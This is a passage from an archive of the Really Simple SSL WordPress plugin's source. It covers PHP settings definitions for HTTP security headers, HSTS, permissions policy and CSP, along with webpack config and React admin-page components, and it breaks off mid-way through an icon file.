//				'label'    => __( "Exclude files/directories", 'really-simple-ssl' ),
//				'disabled' => false,
//				'default'  => '',
//				'condition_action'   => 'hide',
//				'react_conditions' => [
//					'relation' => 'AND',
//					[
//						'file_change_detection' => 1,
//					]
//				],
//			],
//			[
//				'id'               => 'changed-files-overview',
//				'menu_id'          => 'hardening-file-change',
//				'group_id'         => 'hardening-file-change-datatable',
//				'type'             => 'file-change-detection',
//				'action'           => 'get_changed_files',
//				'label'            => "XML-RPC",
//				'disabled'         => false,
//				'default'          => false,
//				'condition_action'   => 'hide',
//				'react_conditions' => [
//					'relation' => 'AND',
//					[
//						'file_change_detection' => 1,
//					]
//				],
//				'multiselect_buttons' => [
//					[
//						'action'   => 'delete_changed_files',
//						'type'     => 'delete',
//						'label'   => __("Ignore", 'really-simple-ssl'),
//						'className'=> 'rsssl-red',
//					],
//					[
//						'action'   => 'exclude_from_changed_files',
//						'type'     => 'exclude',
//						'label'   => __("Exclude", 'really-simple-ssl'),
//						'reloadFields' => true,
//					],
//				],
//				'columns'          => [
//					[
//						'name'     => __( 'Changed file', 'really-simple-ssl' ),
//						'sortable' => true,
//						'searchable' => true,
//						'column'   => 'file',
//						'width'     => '50%',
//					],
//					[
//						'name'     => __( 'Detected', 'really-simple-ssl' ),
//						'sortable' => true,
//						'searchable' => true,
//						'column'   => 'changed',
//						'width'     => '20%',
//					],
//					[
//						'name'     => '',
//						'sortable' => false,
//						'column'   => 'excludeButton',
//						'isButton'   => true,
//						'action'   => 'exclude_from_changed_files',
//						'type'     => 'exclude',
//						'label'   => __("Exclude", 'really-simple-ssl'),
//						'reloadFields' => true,
//						'className'=> 'button-primary',
//						'width'    => '13%',
//					],
//					[
//						'name'     => '',
//						'sortable' => false,
//						'column'   => 'deleteButton',
//						'isButton'   => true,
//						'action'   => 'delete_changed_files',
//						'type'     => 'delete',
//						'label'   => __("Ignore", 'really-simple-ssl'),
//						'className'=> 'rsssl-red',
//						'width'    => '12%',
//					],
//
//				],
//			],
//		]
//	);
//}, 200 );
really-simple-ssl/settings/config/fields/security-headers.php000064400000033315147510273070020501 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[
			[
				'id'       => 'x_xss_protection',
				'menu_id'  => 'recommended_security_headers',
				'group_id' => 'recommended_security_headers',
				'type'     => 'select',
				'label'    => "X-XSS-Protection",
				'options'  => [
					'disabled'   => __("Disabled", "really-simple-ssl"),
					'zero'       => "0 ".__("(recommended)", "really-simple-ssl"),
					'one'        => "1",
					'mode_block' => "1; mode=block",
				],
				'disabled' => false,
				'default'  => 'zero',
				'help'     => [
					'label' => 'default',
					'url'   => 'definition/about-recommended-security-headers',
					'title' => __("About Essential Security Headers", 'really-simple-ssl'),
					'text'  => __('These security headers are the fundamental security measures to protect your website visitors while visiting your website.',
						'really-simple-ssl'),
				],
			],
			[
				'id'       => 'x_content_type_options',
				'menu_id'  => 'recommended_security_headers',
				'group_id' => 'recommended_security_headers',
				'type'     => 'checkbox',
				'label'    => "X-Content-Type options",
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'x_frame_options',
				'menu_id'  => 'recommended_security_headers',
				'group_id' => 'recommended_security_headers',
				'type'     => 'select',
				'options'  => [
					'disabled'   => __("Off", "really-simple-ssl"),
					'DENY'       => 'DENY',
					'SAMEORIGIN' => 'SAMEORIGIN',
				],
				'label'    => "X-Frame options",
				'disabled' => defined('rsssl_pro'),
				'comment' => defined('rsssl_pro') ? __("This option is handled by the Content Security Policy/frame-ancestors setting.", "really-simple-ssl") : "",
				'default'  => false,
			],
			[
				'id'       => 'referrer_policy',
				'menu_id'  => 'recommended_security_headers',
				'group_id' => 'recommended_security_headers',
				'type'     => 'select',
				'options'  => [
					'disabled'                        => __("Off", "really-simple-ssl"),
					'strict-origin-when-cross-origin' => 'strict-origin-when-cross-origin'.' ('.__("recommended",
							"really-simple-ssl").')',
					'no-referrer'                     => 'no-referrer',
					'origin'                          => 'origin',
					'no-referrer-when-downgrade'      => 'no-referrer-when-downgrade',
					'unsafe-url'                      => 'unsafe-url',
					'origin-when-cross-origin'        => 'origin-when-cross-origin',
					'strict-origin'                   => 'strict-origin',
					'same-origin'                     => 'same-origin',
				],
				'label'    => "Referrer Policy",
				'disabled' => false,
				'default'  => 'strict-origin-when-cross-origin',
			],
			[
				'id'               => 'hsts',
				'menu_id'          => 'hsts',
				'group_id'         => 'hsts',
				'type'             => 'checkbox',
				'label'            => __("HTTP Strict Transport Security", "really-simple-ssl"),
				'disabled'         => false,
				'default'          => false,
				'help'             => [
					'label' => 'default',
					'url'   => 'definition/what-is-hsts/',
					'title' => __("About HTTP Strict Transport Security", 'really-simple-ssl'),
					'text'  => __('Leveraging your SSL certificate with HSTS is a staple for every website. Force your website over SSL, mitigating risks of malicious counterfeit websites in your name.',
						'really-simple-ssl'),
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'ssl_enabled' => '1',
					]
				],
			],
			[
				'id'                      => 'hsts_preload',
				'menu_id'                 => 'hsts',
				'group_id'                => 'hsts',
				'type'                    => 'checkbox',
				'label'                   => __("Include preload", "really-simple-ssl"),
				'comment'                 => sprintf(__("After enabling this feature, you can submit your site to %shstspreload.org%s",
					"really-simple-ssl"), '<a target="_blank" href="https://hstspreload.org?domain='.site_url().'">',
					"</a>"),
				'react_conditions'        => [
					'relation' => 'AND',
					[
						'hsts' => true,
					]
				],
				'configure_on_activation' => [
					'condition' => 1,
					[
						'hsts_subdomains' => true,
						'hsts_max_age'    => 63072000,
					]
				],
				'disabled'                => false,
				'default'                 => false,
			],
			[
				'id'               => 'hsts_subdomains',
				'menu_id'          => 'hsts',
				'group_id'         => 'hsts',
				'type'             => 'checkbox',
				'label'            => __("Include subdomains", "really-simple-ssl"),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'hsts' => true,
					]
				],
				'disabled'         => false,
				'default'          => false,
			],
			[
				'id'               => 'hsts_max_age',
				'menu_id'          => 'hsts',
				'group_id'         => 'hsts',
				'type'             => 'select',
				'options'          => [
					'86400'    => __('One day (for testing only)', 'really-simple-ssl'),
					'31536000' => __('One year', 'really-simple-ssl'),
					'63072000' => __('Two years (required for preload)', 'really-simple-ssl'),
				],
				'label'            => __("Choose the max-age for HSTS", "really-simple-ssl"),
				'react_conditions' => [
					'relation' => 'AND',
					[
						'hsts' => true,
					]
				],
				'disabled'         => false,
				'default'          => '63072000',
			],
			[
				'id'       => 'cross_origin_opener_policy',
				'menu_id'  => 'cross_origin_policy',
				'group_id' => 'cross_origin_policy',
				'type'     => 'select',
				'options'  => [
					'disabled'                 => __('Off', 'really-simple-ssl'),
					'unsafe-none'              => 'unsafe-none',
					'same-origin-allow-popups' => 'same-origin-allow-popups',
					'same-origin'              => 'same-origin',
				],
				'help'     => [
					'label' => 'default',
					'url'   => 'definition/what-is-a-cross-origin-policy/',
					'title' => __("About Cross Origin Policies", 'really-simple-ssl'),
					'text'  => __('One of the most powerful features, and therefore the most complex are the Cross-Origin headers that can isolate your website so any data leaks are minimized.',
						'really-simple-ssl'),
				],
				'label'    => __("Cross Origin Opener Policy", "really-simple-ssl"),
				'disabled' => false,
				'default'  => 'disabled',
			],
			[
				'id'       => 'cross_origin_resource_policy',
				'menu_id'  => 'cross_origin_policy',
				'group_id' => 'cross_origin_policy',
				'type'     => 'select',
				'options'  => [
					'disabled'     => __('Off', 'really-simple-ssl'),
					'same-site'    => 'same-site',
					'same-origin'  => 'same-origin',
					'cross-origin' => 'cross-origin',
				],
				'label'    => __("Cross Origin Resource Policy", "really-simple-ssl"),
				'disabled' => false,
				'default'  => 'disabled',
			],
			[
				'id'       => 'cross_origin_embedder_policy',
				'menu_id'  => 'cross_origin_policy',
				'group_id' => 'cross_origin_policy',
				'type'     => 'select',
				'options'  => [
					'disabled'     => __('Off', 'really-simple-ssl'),
					'require-corp' => 'require-corp',
					'same-origin'  => 'same-origin',
					'unsafe-none'  => 'unsafe-none',
				],
				'label'    => __("Cross Origin Embedder Policy", "really-simple-ssl"),
				'disabled' => false,
				'default'  => 'disabled',
			],

			[
				'id'       => 'permissions_policy',
				'menu_id'  => 'permissions_policy',
				'group_id' => 'permissions_policy',
				'type'     => 'permissionspolicy',
				'options'  => [ '*' => __( "Allow", "really-simple-ssl" ), '()' => __( "Disable", "really-simple-ssl" ), 'self' => __( "Self (Default)", "really-simple-ssl" ) ],
				'label'    => __( "Permissions Policy", 'really-simple-ssl' ),
				'disabled' => false,
				'help'     => [
					'label' => 'default',
					'url'   => 'definition/what-is-a-permissions-policy',
					'title' => __( "About the Permission Policy", 'really-simple-ssl' ),
					'text'  => __( 'Browser features are plentiful, but most are not needed on your website.', 'really-simple-ssl' ).' '.__('They might be misused if you don’t actively tell the browser to disable these features.', 'really-simple-ssl' ),
				],
				'columns'  => [
					[
						'name'     => __( 'Feature', 'really-simple-ssl' ),
						'sortable' => true,
						'column'   => 'title',
					],
					[
						'name'     => __( '', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'valueControl',
					],
				],
				'default'  => [
					[
						'id'     => 'accelerometer',
						'title'  => 'Accelerometer',
						'value'  => 'self',
						'status' => true,
					],
					[
						'id'     => 'autoplay',
						'title'  => 'Autoplay',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'camera',
						'title'  => 'Camera',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'encrypted-media',
						'title'  => 'Encrypted Media',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'fullscreen',
						'title'  => 'Fullscreen',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'geolocation',
						'title'  => 'Geolocation',
						'value'  => '*',
						'status' => false,
					],
					[
						'id'     => 'microphone',
						'title'  => 'Microphone',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'midi',
						'title'  => 'Midi',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'payment',
						'title'  => 'Payment',
						'value'  => 'self',
						'status' => false,
					],
					[
						'id'     => 'display-capture',
						'title'  => 'Display Capture',
						'value'  => 'self',
						'status' => false,
					],
				],
			],
			[
				'id'       => 'enable_permissions_policy',
				'menu_id'  => 'permissions_policy',
				'group_id' => 'permissions_policy',
				'type'     => 'hidden',
				'label'    => __( "Enable Permissions Policy", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'upgrade_insecure_requests',
				'menu_id'  => 'content_security_policy',
				'group_id' => 'upgrade_insecure_requests',
				'type'     => 'checkbox',
				'label'    => __( "Serve encrypted and authenticated responses", 'really-simple-ssl' ),
				'disabled' => false,
				'default'  => false,
				'help'     => [
					'label' => 'default',
					'url'   => 'definition/what-is-a-content-security-policy',
					'title' => __( "About the Content Security Policy", 'really-simple-ssl' ),
					'text'  => __( 'The content security policy has many options, so we always recommend starting in ‘learning mode’ to see what files and scripts are loaded.', 'really-simple-ssl' ),
				],
				'react_conditions' => [
					'relation' => 'AND',
					[
						'ssl_enabled' => '1',
					]
				],
			],
			[
				'id'       => 'csp_frame_ancestors',
				'menu_id'  => 'content_security_policy',
				'group_id' => 'frame_ancestors',
				'type'     => 'select',
				'options'  => [
					'disabled' => __("Yes (don't set header)", "really-simple-ssl"),
					'none'     => "None",
					'self'     => __("Self (Default)", "really-simple-ssl"),
				],
				'label'    => __( "Allow your domain to be embedded", "really-simple-ssl" ),
				'disabled' => false,
				'default'  => 'self',
			],
			[
				'id'       => 'csp_frame_ancestors_urls',
				'menu_id'  => 'content_security_policy',
				'group_id' => 'frame_ancestors',
				'type'     => 'textarea',
				'label'    => __( "Add additional domains which can embed your website, if needed. Comma seperated.", "really-simple-ssl" ),
				'disabled' => maybe_disable_frame_ancestors_url_field(),
				'default'  => false,
				'react_conditions'        => [
					'relation' => 'AND',
					[
						'csp_frame_ancestors' => 'NOT disabled',
					]
				],
			],
			[
				'id'       => 'csp_status',
				'menu_id'  => 'content_security_policy',
				'group_id' => 'content_security_policy_source_directives',
				'type'     => 'hidden',
				'label'    => '',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'       => 'csp_status_lm_enabled_once',
				'menu_id'  => 'content_security_policy',
				'group_id' => 'content_security_policy_source_directives',
				'type'     => 'hidden',
				'label'    => '',
				'disabled' => false,
				'default'  => false,
			],
			[
				'id'            => 'content_security_policy_source_directives',
				'control_field' => 'csp_status',
				'menu_id'       => 'content_security_policy',
				'group_id'      => 'content_security_policy_source_directives',
				'type'          => 'learningmode',
				'label'         => "Content Security Policy",
				'disabled'      => false,
				'default'       => false,
				'columns'       => [
					[
						'name'     => __( 'Location', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'documenturi',
						'grow'     => 2,
                        'width'    => '20%',
					],
					[
						'name'     => __( 'Directive', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'violateddirective',
						'grow'     => 1,
                        'width'    => '25%',
					],
					[
						'name'     => __( 'Source', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'blockeduri',
						'grow'     => 1,
                        'width'    => '30%',
					],
					[
						'name'     => __( '', 'really-simple-ssl' ),
						'sortable' => false,
						'column'   => 'statusControl',
						'grow'     => 1,
                        'width'    => '10%',
					],
					[
						'name'     => __('', 'really-simple-ssl'),
						'sortable' => false,
						'column'   => 'deleteControl',
						'grow'     => 1,
                        'width'    => '10%',
					],
//					[   //placeholder until we have resolved the columns
//						'name'     => '',
//					],
				],
			],
		]
	);
}, 200 );

really-simple-ssl/settings/config/fields/letsencrypt.php000064400000000772147510273070017576 0ustar00<?php
defined( 'ABSPATH' ) or die();

add_filter( 'rsssl_fields', function( $fields ) {
	return array_merge( $fields,
		[
			[
				'id'               => 'letsencrypt',
				'menu_id'          => 'encryption_lets_encrypt',
				'group_id'         => 'encryption_lets_encrypt',
				'type'             => 'lets-encrypt',
				'default'          => false,
				'server_conditions'    => [
					'relation' => 'AND',
					[
						'rsssl_letsencrypt_generation_allowed' => true,
					]
				],
			],
		]
	);
}, 200 );
really-simple-ssl/settings/config/mails.php000064400000000233147510273070015051 0ustar00<?php
defined('ABSPATH') or die();

/**
 * @param $fields
 *
 * @return mixed
 */
function rsssl_mails(){
	return apply_filters('rsssl_mails', [

	]);
}


really-simple-ssl/settings/config/config.php000064400000003105147510273070015212 0ustar00<?php
defined( 'ABSPATH' ) or die();
foreach ( glob( rsssl_path . 'settings/config/fields/*.php' ) as $file ) {
	include $file;
}
function rsssl_fields( $load_values = true ) {
	if ( ! rsssl_user_can_manage() ) {
		return [];
	}

	$fields = apply_filters( 'rsssl_fields', [] );

	if ( is_multisite() && rsssl_is_networkwide_active() ) {
		$stored_options = get_site_option( 'rsssl_options', [] );
	} else {
		$stored_options = get_option( 'rsssl_options', [] );
	}

	foreach ( $fields as $key => $field ) {
		$field = wp_parse_args( $field, [ 'default' => '', 'id' => false, 'visible' => true, 'disabled' => false, 'recommended' => false ] );
		//handle server side conditions
		//but not if outside our settings pages
		if ( rsssl_is_logged_in_rest() && isset( $field['server_conditions'] ) ) {
			if ( ! rsssl_conditions_apply( $field['server_conditions'] ) ) {
				unset( $fields[ $key ] );
				continue;
			}
		}
		if ( $load_values ) {
			$value          = rsssl_sanitize_field( rsssl_get_option( $field['id'], $field['default'] ), $field['type'], $field['id'] );
			$field['never_saved'] = !array_key_exists( $field['id'], $stored_options );
			$field['value'] = apply_filters( 'rsssl_field_value_' . $field['id'], $value, $field );
			$fields[ $key ] = apply_filters( 'rsssl_field', $field, $field['id'] );
		}
	}

	$fields = apply_filters( 'rsssl_fields_values', $fields );
	foreach ( $fields as $key => $field ) {
		if (isset($field['help']['url'])) {
			$fields[ $key ]['help']['url'] = rsssl_link( $field['help']['url'], 'instructions', $field['id'] );
		}
	}
	return array_values( $fields );
}really-simple-ssl/settings/webpack.config.js000064400000001175147510273070015212 0ustar00const defaultConfig = require("@wordpress/scripts/config/webpack.config");

module.exports = {
    ...defaultConfig,
    output: {
        ...defaultConfig.output,
        filename: '[name].[contenthash].js',
        chunkFilename: '[name].[contenthash].js',
    },
    resolve: {
        ...defaultConfig.resolve,
        fallback: {
            "path": require.resolve("path-browserify"),
        },
    },
    module: {
        ...defaultConfig.module,
        rules: [
            ...defaultConfig.module.rules,
            {
                test: /\.node$/,
                loader: 'node-loader',
            },
        ],
    },
};really-simple-ssl/settings/index.php000064400000000043147510273070013605 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/settings/src/Header.js000064400000005723147510273070014314 0ustar00import {useEffect} from "@wordpress/element";
import { __ } from '@wordpress/i18n';
import Notices from "./Settings/Notices";
import useMenu from "./Menu/MenuData";
import {addUrlRef} from "./utils/AddUrlRef";

const Header = () => {
    const {menu, selectedMainMenuItem, fetchMenuData} = useMenu();
    let plugin_url = rsssl_settings.plugin_url;
    useEffect( () => {
        fetchMenuData();
    }, [] );

    let menuItems = menu.filter( item => item!==null );
    return (
        <div className="rsssl-header-container">
            <div className="rsssl-header">
                <img className="rsssl-logo" src={plugin_url+"assets/img/really-simple-security-logo.svg"} alt="Really Simple Security logo" />
                <div className="rsssl-header-left">
                    <nav className="rsssl-header-menu">
                        <ul>
                            {menuItems.map((menu_item, i) =>
                                <li key={"menu-"+i}><a className={ selectedMainMenuItem === menu_item.id ? 'active' : '' } href={"#" + menu_item.id.toString()} >{menu_item.title}</a></li>)}

                        </ul>
                    </nav>
                </div>
                <div className="rsssl-header-right">
                    { !rsssl_settings.le_generated_by_rsssl &&
                        <a className="rsssl-knowledge-base-link" href={addUrlRef("https://really-simple-ssl.com/knowledge-base")} target="_blank" rel="noopener noreferrer">{__("Documentation", "really-simple-ssl")}</a>}
                    { rsssl_settings.le_generated_by_rsssl &&
                        <a href={rsssl_settings.letsencrypt_url}>{__("Let's Encrypt","really-simple-ssl")}</a>
                    }
                    {rsssl_settings.pro_plugin_active && (
                        <>
                            {(() => {
                                const supportUrl = rsssl_settings.dashboard_url + '#settings&highlightfield=premium_support';
                                return (
                                    <a
                                        href={supportUrl}
                                        className="button button-black"
                                        target="_self"
                                        rel="noopener noreferrer"
                                    >
                                        {__("Support", "really-simple-ssl")}
                                    </a>
                                );
                            })()}
                        </>
                    )}
                    { !rsssl_settings.pro_plugin_active &&
                        <a href={rsssl_settings.upgrade_link}
                           className="button button-black"
                           target="_blank" rel="noopener noreferrer">{__("Go Pro", "really-simple-ssl")}</a>
                    }
                </div>
            </div>
            <Notices className="rsssl-wizard-notices"/>
        </div>
    );

}
export default Headerreally-simple-ssl/settings/src/Page.js000064400000013442147510273070013775 0ustar00import {useEffect, useState} from "@wordpress/element";
import Header from "./Header";
import PagePlaceholder from './Placeholder/PagePlaceholder';
import getAnchor from "./utils/getAnchor";
import useFields from "./Settings/FieldsData";
import useMenu from "./Menu/MenuData";
import useOnboardingData from "./Onboarding/OnboardingData";
import useModal from "./Modal/ModalData";
import {setLocaleData} from "@wordpress/i18n";
import ErrorBoundary from "./utils/ErrorBoundary";
const Page = () => {
    const {error, fields, changedFields, fetchFieldsData, updateFieldsData, fieldsLoaded} = useFields();
    const {showOnboardingModal, fetchOnboardingModalStatus, modalStatusLoaded,} = useOnboardingData();
    const {selectedMainMenuItem, fetchMenuData } = useMenu();
    const {showModal} = useModal();

    const [Settings, setSettings] = useState(null);
    const [DashboardPage, setDashboardPage] = useState(null);
    const [Notices, setNotices] = useState(null);
    const [Menu, setMenu] = useState(null);
    const [ToastContainer, setToastContainer] = useState(null);

    useEffect(() => {
        if ( !modalStatusLoaded ) {
            fetchOnboardingModalStatus();
        }
    }, []);

    //load the chunk translations passed to us from the rsssl_settings object
    //only works in build mode, not in dev mode.
    useEffect(() => {
        rsssl_settings.json_translations.forEach( (translationsString) => {
            let translations = JSON.parse(translationsString);
            let localeData = translations.locale_data[ 'really-simple-ssl' ] || translations.locale_data.messages;
            localeData[""].domain = 'really-simple-ssl';
            setLocaleData( localeData, 'really-simple-ssl' );
        });
    },[]);

    useEffect( () => {
        if (selectedMainMenuItem !== 'dashboard' ){
            if (!Settings) {
                import ("./Settings/Settings").then(({default: Settings}) => {
                    setSettings(() => Settings);
                });
            }
            if (!Notices) {
                import("./Settings/Notices").then(({default: Notices}) => {
                    setNotices(() => Notices);
                });
            }
            if (!Menu) {
                import ("./Menu/Menu").then(({default: Menu}) => {
                    setMenu(() => Menu);
                });
            }
        }
        if (selectedMainMenuItem === 'dashboard' && !DashboardPage ){
            import ( "./Dashboard/DashboardPage").then(async ({default: DashboardPage}) => {
                setDashboardPage(() => DashboardPage);
            });
        }

    }, [selectedMainMenuItem]);

    const [OnboardingModal, setOnboardingModal] = useState(null);
    useEffect( () => {
        if ( showOnboardingModal && !OnboardingModal ){
            import ("./Onboarding/OnboardingModal").then(({ default: OnboardingModal }) => {
                setOnboardingModal(() => OnboardingModal);
            });
        }

    }, [showOnboardingModal]);

    const [Modal, setModal] = useState(null);
    useEffect( () => {
        if ( showModal && !Modal ){
            import ( "./Modal/Modal").then(({ default: Modal }) => {
                setModal(() => Modal);
            });
        }

    }, [showModal]);

    // async load react-toastify
    useEffect(() => {
        import('react-toastify').then((module) => {
            const ToastContainer = module.ToastContainer;
            setToastContainer(() => ToastContainer);
        });
    }, []);

    useEffect( () => {
        if ( fieldsLoaded ) {
            fetchMenuData(fields);
            window.addEventListener('hashchange', (e) => {
                fetchMenuData(fields);
            });
        }
    }, [fields] );

    useEffect( () => {
        let subMenuItem = getAnchor('menu');
        updateFieldsData(subMenuItem);
    }, [changedFields] );

    useEffect( () => {
        let subMenuItem = getAnchor('menu');
        fetchFieldsData(subMenuItem);
    }, [] );


    if (error) {
        return (
            <>
                <PagePlaceholder error={error}></PagePlaceholder>
            </>
        )
    }
    return (
        <div className="rsssl-wrapper">
            {OnboardingModal && <ErrorBoundary fallback={"Could not load onboarding modal"}><OnboardingModal /></ErrorBoundary>}

            {Modal && <ErrorBoundary fallback={"Could not load modal"}><Modal/></ErrorBoundary>}
            {
                    <>
                        <Header />
                        <div className={"rsssl-content-area rsssl-grid rsssl-" + selectedMainMenuItem}>
                            { selectedMainMenuItem !== 'dashboard' && Settings && Menu && Notices &&
                               <>
                                   <ErrorBoundary fallback={"Could not load menu"}><Menu /></ErrorBoundary>
                                   <ErrorBoundary fallback={"Could not load settings"}><Settings/></ErrorBoundary>
                                   <ErrorBoundary fallback={"Could not load notices"}><Notices className="rsssl-wizard-notices"/></ErrorBoundary>
                               </>
                            }
                            { selectedMainMenuItem === 'dashboard' && DashboardPage &&
                                <ErrorBoundary fallback={"Could not load menu"}><DashboardPage /></ErrorBoundary>
                            }
                        </div>
                    </>

            }
            {ToastContainer && (
                <ToastContainer
                    position="bottom-right"
                    autoClose={2000}
                    limit={3}
                    hideProgressBar
                    newestOnTop
                    closeOnClick
                    pauseOnFocusLoss
                    pauseOnHover
                    theme="light"
                /> )}
        </div>
    );

}
export default Pagereally-simple-ssl/settings/src/Modal/ModalControl.js000064400000000732147510273070016550 0ustar00import useModal from "./ModalData";

/**
 * Button to open the modal
 * @param props
 * @returns {JSX.Element}
 * @constructor
 */
const ModalControl = (props) => {
    const {handleModal} = useModal();
    const onClickHandler = () => {
        handleModal(true, props.modalData, props.item );
    }

    return (
        <button className={"button button-" + props.btnStyle} onClick={ (e) => onClickHandler(e) }>{props.btnText}</button>
    )
}
export default ModalControlreally-simple-ssl/settings/src/Modal/Modal.js000064400000006357147510273070015220 0ustar00import { __ } from '@wordpress/i18n';
import * as rsssl_api from "../utils/api";
import Icon from "../utils/Icon";
import useModal from "./ModalData";
import {useState} from '@wordpress/element';

const Modal = (props) => {
    const {handleModal, modalData, setModalData, showModal, setIgnoredItemId, setFixedItemId, item} = useModal();
    const [buttonsDisabled, setButtonsDisabled] = useState(false);

    const dismissModal = () => {
        handleModal(false, null, null);
    }

    const handleFix = (e, type) => {
        //set to disabled
        let action = modalData.action;
        setButtonsDisabled(true);
        rsssl_api.runTest(action, 'refresh', modalData ).then( ( response ) => {
            let data = {...modalData};
            data.description = response.msg;
            data.subtitle = '';
            setModalData(data);
            setButtonsDisabled(false);
            if (response.success) {
                if (type==='ignore' && item !==false ) {
                    setIgnoredItemId(item.id);
                } else {
                    setFixedItemId(item.id);
                }
                handleModal(false, null);
            }
        });
    }

    if (!showModal) {
        return (<></>);
    }

    let disabled = buttonsDisabled ? 'disabled' : '';
    let description = modalData.description;
    if ( !Array.isArray(description) ) {
        description = [description];
    }

    return (
        <div>
            <div className="rsssl-modal-backdrop" onClick={ (e) => dismissModal(e) }>&nbsp;</div>
            <div className="rsssl-modal" id="{id}">
                <div className="rsssl-modal-header">
                    <h2 className="modal-title">
                        {modalData.title}
                    </h2>
                    <button type="button" className="rsssl-modal-close" data-dismiss="modal" aria-label="Close" onClick={ (e) => dismissModal(e) }>
                        <Icon name='times' />
                    </button>
                </div>
                <div className="rsssl-modal-content">
                    { modalData.subtitle && <div className="rsssl-modal-subtitle">{modalData.subtitle}</div>}
                    { Array.isArray(description) && description.map((s, i) => <div key={"modalDescription-"+i} className="rsssl-modal-description">{s}</div>) }
                </div>
                <div className="rsssl-modal-footer">
                    { modalData.edit && <a href={modalData.edit} target="_blank" rel="noopener noreferrer" className="button button-secondary">{__("Edit", "really-simple-ssl")}</a>}
                    { modalData.help && <a href={modalData.help} target="_blank" rel="noopener noreferrer" className="button rsssl-button-help">{__("Help", "really-simple-ssl")}</a>}
                    { (!modalData.ignored && modalData.action==='ignore_url') && <button disabled={disabled} className="button button-primary" onClick={ (e) => handleFix(e, 'ignore') }>{ __("Ignore", "really-simple-ssl")}</button>}
                    { modalData.action!=='ignore_url' &&  <button disabled={disabled} className="button button-primary" onClick={ (e) => handleFix(e, 'fix') }>{__("Fix", "really-simple-ssl")}</button> }
                </div>
            </div>
        </div>
    )
}

export default Modal;really-simple-ssl/settings/src/Modal/ModalData.js000064400000001441147510273070015777 0ustar00import {create} from 'zustand';

const useModalData = create(( set, get ) => ({
    modalData: [],
    buttonsDisabled: false,
    showModal:false,
    ignoredItems:[],
    fixedItems:[],
    item:false,
    setIgnoredItemId: (ignoredItemId) => {
        let ignoredItems = get().ignoredItems;
        ignoredItems.push(ignoredItemId);
        set({ignoredItems: ignoredItems,  });
    },
    setFixedItemId: (fixedItemId) => {
        let fixedItems = get().fixedItems;
        fixedItems.push(fixedItemId);
        set({fixedItems: fixedItems,  });
    },
    handleModal: (showModal, modalData, item) => {
        set({showModal: showModal, modalData:modalData, item:item  });
    },
    setModalData: (modalData) => {
        set({modalData:modalData });
    },
}));

export default useModalData;
really-simple-ssl/settings/src/utils/autoCompleteTheme.js000064400000002235147510273070017703 0ustar00// theme.js
import { createTheme } from '@mui/material/styles';

const autoCompleteSharedTheme = createTheme({
    typography: {
        fontSize: 12,
        fontFamily: 'inherit',
    },
    components: {
        MuiAutocomplete: {
            styleOverrides: {
                inputRoot: {
                    '& .MuiAutocomplete-input': {
                        border: 0,
                    },
                    flexWrap: 'inherit',
                },
                popper: {
                    fontSize: '12px',
                },
                paper: {
                    fontSize: '12px',
                },
                option: {
                    fontSize: '12px',
                },
            },
        },
        MuiInputBase: {
            styleOverrides: {
                root: {
                    fontSize: '12px',
                    fontFamily: 'inherit',
                    height: '40px',
                },
            },
        },
        MuiList: {
            styleOverrides: {
                root: {
                    fontSize: '8px',
                },
            },
        },
    },
});

export default autoCompleteSharedTheme;really-simple-ssl/settings/src/utils/Icon.js000064400000110310147510273070015141 0ustar00// import Tooltip from '@mui/material/Tooltip';
import { Tooltip } from     "react-tooltip";
// import {styled} from "@mui/material/styles";
// import {opacity} from "../../../../../../wp-includes/js/codemirror/csslint";

const IconHtml = React.forwardRef(function IconHtml(props, ref){
    const {name, color, size} = props;
    // set defaults
    const iconName = name || 'bullet';
    const iconColor = color || 'black';
    const iconSize = size || 15;
    const iconColors = {
        'black': 'var(--rsp-black)',
        'green': 'var(--rsp-green)',
        'yellow': 'var(--rsp-yellow)',
        'orange': 'var(--rsp-yellow)',
        'red-faded': 'var(--rsp-red-faded)',
        'red': 'var(--rsp-red)',
        'grey': 'var(--rsp-grey-400)',
        'red-warning': 'var(--rsp-red-faded)',
    };
    let renderedIcon = '';

    if (iconName === 'bullet') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256z"/>
                </svg>
    }

    if (iconName === 'circle') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"/>
                </svg>
    }

    if (iconName === 'check') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"/>
                </svg>
    }

    if (iconName === 'warning') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
